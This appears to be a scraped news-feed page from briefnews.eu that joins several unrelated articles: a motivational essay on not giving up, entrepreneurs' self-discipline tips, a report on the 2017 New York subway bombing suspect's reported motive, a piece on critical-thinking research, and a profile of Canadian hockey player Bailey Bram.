School attacks made up five of the 28 attacks studied, and while gun violence in American schools has dominated media coverage since last month’s Parkland tragedy, separate research from Northeastern University shows that school shootings, and mass shootings in general, have been steadily declining since the early 1990s.

 

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We all get them – those feelings of doubt, fear, lack of self-confidence and lack of self-belief. Whatever it is we want to achieve in life, no matter how much we want it, there will always be times when you hit a challenging period, your motivation hits a wall and you feel like giving up.

When difficult times do stop you in your tracks, you need a way to push through, learn and understand what it is that’s truly demotivating you, what your mindset is telling you about the way you deal with challenges and coming out the other side a strong, successful person.

In this article you’ll learn that tough times make even the most motivated person consider giving up and this is completely normal. That despite the overwhelming feeling of wanting to just give up, it’s actually the most important time not to.

What creates your desire to give up

Identifying the reasons why giving up seems like the best option is so important. There are many reasons why people want to give up and each is driven by different motivations. However, there are a few human instincts that come into play here.

  • Mistaking lessons for failure: Not being able to see the roadblock for the lesson it is and keep going anyway.
  • The outcome is more important than the journey: Putting more emphasis on the end result and dismissing the importance of how you’re getting to the end goal and growing along the way.
  • Seeing the failure before it’s even happened: Self-sabotaging yourself by creating the thought that it just won’t happen. This is usually down to limiting beliefs and lack of self-belief.
  • Lack of discipline: Realizing that achieving your dream won’t just fall into your lap within a few weeks but will actually take hard work and determination.
  • Not adjusting to changes: Not embracing changes in direction, the need to tweak ideas or finding things evolve differently to how you originally imagined it and taking it as a sign it’s not meant to work out, are showing you that you’re not open to changes and the natural evolution to something even more amazing.

People often say, the moment they almost decided to give up was the moment just before they had a breakthrough. While demotivation, failure and giving up feels horrible, there’s a reason for this; it’s because you’re giving up on something that deep down you know is possible. 

Why you should think twice about giving up

The power lies with your mindset and shifting this is key to keeping up the motivation you need when the going gets tough. This is why it’s important to realize why you shouldn’t give in and give up.

Instant success is a myth

It is a generation of instant gratification which creates the illusion that everyone needs what they want. People look at other successful people and assume they got overnight success but in reality it took hard work and a lot of failing to get where they did. Most never see the journey but only the destination, and they fall in love with this idea that they don’t need to work hard to get it.

Understand this is a myth. Don’t be deterred by this because actually the journey is where the magic happens and makes your end goal ever more sweet.

A different approach maybe needed

People judge themselves so harshly and assume that they are just not capable if they seem to be failing at something they want. It could simply be resolved by trying a different approach.

People are often so focused on the end goal and believe there’s just one or two ways to get there. In fact there may be a hundred more avenues that their mind isn’t opening up to.

Open up and change your perspective. Are there other ways you can do it that feels better to you?

You’ll always wonder ‘what if’

That feeling of regret can hit you hard. What if I’d just stuck with it? I could have achieved it by now. What if I hadn’t given up, how different my life would be?

While regret is the number one thing you shouldn’t waste your time doing, before you quit your dream just imagine how your life could transform and where you could be in a year, two years or five years.

Don’t give your future self the chance to become regretful because of the one decision you make in the present moment.

You could be quitting right before your success

Many times, when people give up, they’re actually just a step away from success like this:

The toughest times are a precursor to a major breakthrough to success. Think of it as being tested just to make sure this is exactly what you want.

Decide yes, I still want this more than ever! You’re pretty much saying yep, give it to me now I deserve this after all I’ve done and this is usually the time it happens. Keep going! It’s all about trust that it’s going to work out.

It’ll happen again and again

Do you find yourself quitting things a lot? Human’s mindset and thought patterns play out throughout the life if we don’t identify and change them. Don’t think, ‘I’ll have another go in a year’s time’ because you are really likely to repeat exactly the same pattern again.

It’s important to sit down with yourself and identify why you have a tendency to give up. This may feel uncomfortable and you may feel resistance to doing the process. But once you actually work through your limiting beliefs, they can be released really quickly and therefore help you to create more success in your life.

Struggle does not equate to failure

We’ve been led to believe en mass that struggle is something to be ashamed of. It’s somehow a negative representation of our core character and ability to move through the world. I’m here to tell you it’s not. Never think of hard times as failure. In fact, just take failure out of your vocabulary. Stop caring about what others think and just know and believe you are capable of getting through it and coming out the other end.

Struggle actually builds character. It’s there to serve you – to help you learn something you’ll need to use later on. Stop assuming struggle is negative but see it as a blessing on your road to awesome success.

How to stay motivated

The thing people tend to forget when all they want to do is give up is that failure doesn’t fix anything. Maybe for a moment you’ll feel relief because you no longer have to face that challenge, but the satisfaction will be fleeting. The misery you were experiencing will be back, one way or another.

The real challenge you’re experiencing in that moment is your own weakness manifesting in a physical form. When you accept that you aren’t worthy or good enough, that’s the mind set you will keep.

No matter what challenge you are facing (be it work or play) you will struggle with maintaining your optimism, dedication and will power because you haven’t addressed the real issue: yourself.

Imagine the Great Challenge as a big rock in front of you.

If you choose to give up, you work around the stone just to go around it.

Yet the fastest way to get over it is to break this big rock and go right through it.

It’s the same with your weaknesses. You could continue to adjust your life to fit your fears (i.e. no longer job-hunting because you’ve accepted you will always fail), or you could keep sending out applications and calling to follow up and schedule interviews.

No matter how great the challenge is, breaking it down is a must.

In order to truly stay motivated, no matter how great the challenge is, you’ve got to learn to break the Great Challenge down.

To truly overcome your weakness, you need break down the big rock into smaller pieces and deal with the small stones piece by piece.

Right now it may seem impossible. It may seem like this is the hardest thing you will ever go through. But remember how often your threshold changes.

Below are some tips that can help you take those first steps in keeping your chin up and truly facing the difficult choices in your life:

1. Figure out what you lack

No matter what the challenge you’re facing may be, there’s a reason it’s challenging to you. If it’s a job, why is it you aren’t getting hired? Go back through the job listings and skills required and find the common thread your resume doesn’t have. Is it not listed because you don’t have it? If so, work on doing something to give you that skill. Be it an online course or a volunteer project, do something to help push you closer to the “perfect candidate.”

2. Be patient with yourself

No one becomes a CEO overnight. If you have big dreams, you’re going to have to do big work to accomplish them. It’s okay to take time figuring out the best way to proceed, but it’s not okay to walk away because it’s challenging.

3. Be proud of yourself for every small win

Have you ever noticed how a small mistake can weigh on you for days? Whether or not you categorize yourself as a dramatic person doesn’t matter when it comes to the guilt we so often put upon ourselves. But when we make small strides in achieving our goal(s), we never seem to give ourselves much respect.

When we fail to pat ourselves on the back for little victories, it decreases our motivation and makes it much harder to achieve big goals.[1]

4. Remember that you aren’t the first to feel this way

When we face difficult choices or events in our lives, we often forget that we are not the first/only/last to experience this. Everyone faces hard decisions – be it deciding to end a relationship, changing careers, moving to a different place and leaving friends behind. We all go through it.

So don’t be afraid to reach out to your friends or family for a sounding board. In some cases, they may even be able to offer you advice you wouldn’t have thought of otherwise.

5. Know that you will grow as a person just from going through it

We build character through those hard times. The old cliche, “what doesn’t kill me makes me stronger” is true. When you go through something challenging, you learn from it, regardless of the outcome. Recognize the opportunities for learning and personal development.

6. Remember that you have choices

No matter how hard the challenge you’re facing may be, one of the best things you can focus on is that you have choices. Only you can decide how you handle something and the steps you take. More so, only you can decide how you take the next step.

You have the power to stand in your own way and to get out of it. Allow yourself to stay motivated by choosing to be stay motivated.

Choose to see obstacles as lessons. Ask yourself, what is this showing me? What is it bringing up for me? In most cases, they’re there to point you in a direction you’ve previously not considered. Trust in this and keep going.

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]]> https://briefnews.eu/why-giving-up-is-not-an-option-and-how-to-stay-motivated/feed/ 0 How 11 highly successful business people keep themselves motivated every day https://briefnews.eu/how-11-highly-successful-business-people-keep-themselves-motivated-every-day/ https://briefnews.eu/how-11-highly-successful-business-people-keep-themselves-motivated-every-day/#respond Sun, 04 Feb 2018 14:52:03 +0000 http://briefnews.eu/how-11-highly-successful-business-people-keep-themselves-motivated-every-day/ Tom FerryThe Oracles

Building a successful business and a life you love takes enormous self-discipline.

Top entrepreneurs and members of The Oracles share their top tips for mastering self-discipline so you don’t hit the “snooze button” on your goals and dreams.

1. Be patiently unwavering.

The Oracles

Gary Vaynerchuk, founder and CEO of VaynerMedia, four-time NYT-bestselling author of “Crushing It!“:

Self-discipline is your only option if you want to win. People talk about wanting to win but aren’t willing to make the sacrifices necessary.

Maybe it’s hard-wiring, but there’s never been a situation when I thought that not being disciplined or wavering was in my best interests. When you’re fundamentally patient like me, it makes everything quite easy. Quit being antsy for stuff to happen so soon.

2. Do things others aren’t willing to do.

The Oracles

Grant Cardone, top sales expert and NYT-bestselling author; follow Grant on Facebook or YouTube:

Everyone has discipline, but many apply it to the wrong things: most people’s version of discipline is a learned collection of bad habits.

Instead, be disciplined about taking massive, constructive actions that’ll provide the greatest value to your life and business. There’s no easy way to “have” discipline; you need to have a hunger to succeed. Do the things that others won’t, so you can live the life others can’t.

3. Master your thoughts.

The Oracles

Peter Hernandez, president of brokerage (California) at Douglas Elliman; co-founder of Teles Properties:

Discipline starts in the mind. Pay attention and listen to yourself think. Capture and convert every negative or defeating thought into the exact opposite, and repeat until the empowering thought becomes the dominant one.

Ultimately, discipline affords you freedom from everything you don’t want: freedom from fear of failing, financial insecurity, unwanted pounds, emotional immaturity, and mental laziness. The greatest discipline is controlling your thoughts. Everything emanates from the mind.


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]]> https://briefnews.eu/how-11-highly-successful-business-people-keep-themselves-motivated-every-day/feed/ 0 The New York City bombing suspect may have been motivated by Israeli airstrikes in Gaza https://briefnews.eu/the-new-york-city-bombing-suspect-may-have-been-motivated-by-israeli-airstrikes-in-gaza/ https://briefnews.eu/the-new-york-city-bombing-suspect-may-have-been-motivated-by-israeli-airstrikes-in-gaza/#respond Tue, 12 Dec 2017 03:48:12 +0000 http://briefnews.eu/the-new-york-city-bombing-suspect-may-have-been-motivated-by-israeli-airstrikes-in-gaza/ gaza terror israelREUTERS/Mohammed Salem

  • Akayed Ullah, the 27-year-old suspect from Monday’s pipe bomb explosion, was reportedly motivated by recent Israeli actions in Gaza.
  • Israel has recently launched airstrikes into Gaza following several rocket launches into Israel from the Gaza Strip.
  • Ullah is suspected to be behind the explosion which took place Monday morning after a reported pipe bomb detonated in a Manhattan subway station.

Akayed Ullah, the 27-year-old suspected of carrying out a pipe bomb attack in New York City on Monday morning, was motivated by recent actions by Israel, CNN reported, citing an unnamed law enforcement source.

Ullah is suspected to be behind the explosion police believe was caused by a pipe bomb in a passageway linking the busy hubs of Port Authority and Times Square subway stations in midtown Manhattan. Reports have indicated that Ullah may have acted in the name of ISIS.

The suspect was taken to the hospital for treatment, along with three others who were injured.

Ullah’s remark on Israel comes amid intensified violence between Israel and Palestinian factions in Gaza.

Israel has fired several airstrikes into Gaza, according to the Israeli Defense Forces, who say they are targeting “Hamas terror posts” in northern Gaza

Israeli forces believe these Hamas outposts are behind several rockets that were launched into Israeli territory. According to the Israeli Defense Forces, intensified rocket launches from Gaza began last week, a day after US President Donald Trump’s decision to consider Jerusalem the capital of Israel.

In recent years, solidarity with the Palestinian people has been a catalyst for protests around the world. Many Islamist movements have used Palestinian solidarity to motivate action, according to TIME Magazine.

Several protests have also rippled throughout in the Arab world, as many world leaders have denounced Trump’s move as a roadblock to Middle East peace.

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]]> https://briefnews.eu/the-new-york-city-bombing-suspect-may-have-been-motivated-by-israeli-airstrikes-in-gaza/feed/ 0 To think critically, you have to be both analytical and motivated https://briefnews.eu/to-think-critically-you-have-to-be-both-analytical-and-motivated/ https://briefnews.eu/to-think-critically-you-have-to-be-both-analytical-and-motivated/#respond Wed, 15 Nov 2017 19:05:51 +0000 http://briefnews.eu/to-think-critically-you-have-to-be-both-analytical-and-motivated/

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In a world where accusations of “fake news” are thrown around essentially at random, critical thinking would seem to be a must. But this is also a world where the Moon landings are viewed as a conspiracy and people voice serious doubts about the Earth’s roundness. Critical thinking appears to be in short supply at a time we desperately need it.

One of the proposed solutions to this issue is to incorporate more critical thinking into our education system. But critical thinking is more than just a skill set; you have to recognize when to apply it, do so effectively, and then know how to respond to the results. Understanding what makes a person effective at analyzing fake news and conspiracy theories has to take all of this into account. A small step toward that understanding comes from a recently released paper, which looks at how analytical thinking and motivated skepticism interact to make someone an effective critical thinker.

Valuing rationality

The work comes courtesy of the University of Illinois at Chicago’s Tomas Ståhl and Jan-Willem van Prooijen at VU Amsterdam. This isn’t the first time we’ve heard from Ståhl; last year, he published a paper on what he termed “moralizing epistemic rationality.” In it, he looked at people’s thoughts on the place critical thinking should occupy in their lives. The research identified two classes of individuals: those who valued their own engagement with critical thinking, and those who viewed it as a moral imperative that everyone engage in this sort of analysis.

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]]> https://briefnews.eu/to-think-critically-you-have-to-be-both-analytical-and-motivated/feed/ 0 Sting of 2014 rejection keeps Canada's Bailey Bram motivated https://briefnews.eu/sting-of-2014-rejection-keeps-canadas-bailey-bram-motivated/ https://briefnews.eu/sting-of-2014-rejection-keeps-canadas-bailey-bram-motivated/#respond Sat, 11 Nov 2017 02:45:40 +0000 http://briefnews.eu/sting-of-2014-rejection-keeps-canadas-bailey-bram-motivated/ TAMPA, Fla. — Four years later the memory still stings like an open wound.

It was on Dec. 22, 2013 that Bailey Bram was informed she would not be a member of the Canadian women’s hockey team at the 2014 Olympic Games in Sochi. Not unless somebody got hurt.

“I was brought into a room and told, ‘Unfortunately at this point you are going to be named an alternate and if someone gets hurt, you’ll play. If not you’ll just practise with the team until it leaves for Sochi. If no one gets hurt you won’t be going,'” Bram recalled.

And by the way, enjoy your Christmas.

As she spoke those words, she worked desperately to hold back her tears. It still hurts that much.

But like many who have gone through a similar experience only to get back on the horse, Bram is back. Though Team Canada still has to make five cuts before participating in the 2018 Winter Olympics in Pyeongchang, South Korea, Bram has asserted herself nicely as a solid, two-way threat who thinks defence first, yet has the ability to chip in on offence.

While Bram didn’t make it onto the score sheet in Canada’s 4-0 win over Finland at the Four Nations Cup Friday afternoon, she certainly was a factor in the game killing penalties, taking the odd turn late on the power play and breaking up plays much to the dismay of the Finns.

“Bailey has shown tremendous resiliency,” Team Canada coach Laura Schuler said. “She is an all-around player who is capable of playing on any of our four lines. That is a good thing. She is a player that can really put pressure on the opponent. She has great speed and she kills a lot of penalties.”

Against Finland Friday, Canada got goals from Jennifer Wakefield, her fourth in two games, Brianne Jenner, Sarah Nurse and captain Marie-Philip Poulin. Goalie Genevieve made eight saves in recording her second shutout in as many starts.

Canada will play for gold on Sunday against arch-rival U.S.

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Bram earns praise for her defensive doggedness that she combines with an offensive flair. (Carlos Osorio/Associated Press)

At the end of the day Canada won the gold medal in Sochi, so it’s a little hard to argue with the player selection. Just don’t try to tell that to Bram. To nobody’s surprise, Bram said watching those Games was difficult.

“That whole Olympics for me is a little bit of a blur,” she said. “I do remember watching the games, but when you train for a whole year with the girls and they are your best friends, it’s tough not to be a part of it. Still, I was so proud of them and so happy for them when they won.”

Bram, 27, admitted it took a while, with a lot of sports psychology sessions, to get over the disappointment. She said she came out tougher at the other end.

“I knew I had a lot more in me to give,” said the five-foot-eight, 140-pound left winger. “I wasn’t done. I was pretty young at the time and I think I learned a lot from it. Going through that has helped make me the player I am now.”

And that player is one that flatly refuses to be outworked by an opponent.

‘Pride myself on details’

“I think I have learned the game a lot more,” Bram said. “I know our system like the back of my hand. I pride myself on the little details and habits of the game, whether it’s a little chip along the boards to move the puck or a big block on the penalty-kill. Those are the things that will get our team going. I’m probably not the one who is going to score the big goal, but if I can stop the puck from going to the back of our net, then I have done my job.”

Not being part of the 2014 Olympics meant not being there with her longtime friend Jocelyne Larocque. The two hail from Ste. Anne, a small town in Manitoba with a population of 2,114. Larocque, a small, but punishing defenceman, was equally as disappointed.

“That was obviously tough on her, but it was tough on me, too,” Larocque said. “It’s something I would have loved to share with her. I was released in 2010, so I know exactly how she felt and it’s not a fun feeling. At the end of the day in 2013 she played hard every day and had no regrets. She plays with a lot of heart and that is something that is so valuable.”

The 2013 experience aside, Bram said it is special to be one of 28 players being considered for the 2018 Olympic team. She knows how many players across Canada would love to be in her skates.

Bram said there is a certain underlying nervousness that nearly all players face when trying out for a team, yet she knows she can only control the things she does. And she’s okay with that.

“I always say I want to be the hardest working person on the ice,” Bram said. “If I lose a battle it drives me to be better so it doesn’t happen again.”

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